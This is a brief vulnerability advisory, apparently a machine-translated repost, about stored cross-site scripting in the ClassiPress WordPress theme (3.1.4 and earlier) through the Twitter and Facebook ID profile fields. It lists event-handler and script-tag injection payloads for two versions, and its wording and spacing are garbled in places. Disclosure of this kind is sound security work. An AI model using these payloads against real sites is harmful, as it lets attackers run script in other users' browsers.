WordPress Classipress Theme & lt; = 3.1.4 storage type XSS

 

Title: WordPress Classipress Theme <= 3.1.4 Stored XSS

Author: Paul Loftness www.2cto.com

Developer r: Appthemes LLc.

Product Page: http://www.appthemes.com/themes/classipress/

Version: <= 3.1.4

Tested version: 3.1.4, 3.0.5.3

 

Summary:

-------------------------

ClassiPress is a popular and widely used classified ads software for WordPress.

 

Overview:

-------------------------

Classipress is vulnerable to multiple stored XSS vulnerabilities. input through the POST parameters 'Facebook _ id' and 'twitter _ id' in a registered user's profile page is either not sanitisized or poorly sanitised (version specific) allowing the attacker to insert Javascript code.

 

In version 3.0.5.2 and presumably all previous versions, no sanitation is in place, allowing an attacker to insert code within a tag or to break out of it. in version 3.1.4, the less-than character is sanitised but an attacker can still insert quotes and place an event handler in the tag.

 

 

Example test:

-------------------------

 

Insertion page: http://www.bkjia.com/author/profile/

Infected page: http://www.bkjia.com/author/attacker_username/

Note: Some sites replace "author" with another path, this is not a vanilla configuration, however.

 

Version: ClassiPress 3.0.5.2

Vulnerable Input Parameters:

 

Twitter_id: "onmouseover =" alert ('xsss ');

Facebook_id: "onmouseover =" alert ('xsss ');

Alternate Exploit code:

Twitter_id: "> <script> alert ('xss'); </script> <div id ="

Facebook_id: "> <script> alert ('xss'); </script> <div id ="

 

 

Version: ClassiPress 3.1.4

Vulnerable Input Parameters:

Twitter_id: "onmouseover = 'alert (" XSS "); '> <

Facebook_id: "onmouseover = 'alert (" XSS "); '> <

Www.2cto.com:

Two-character Filter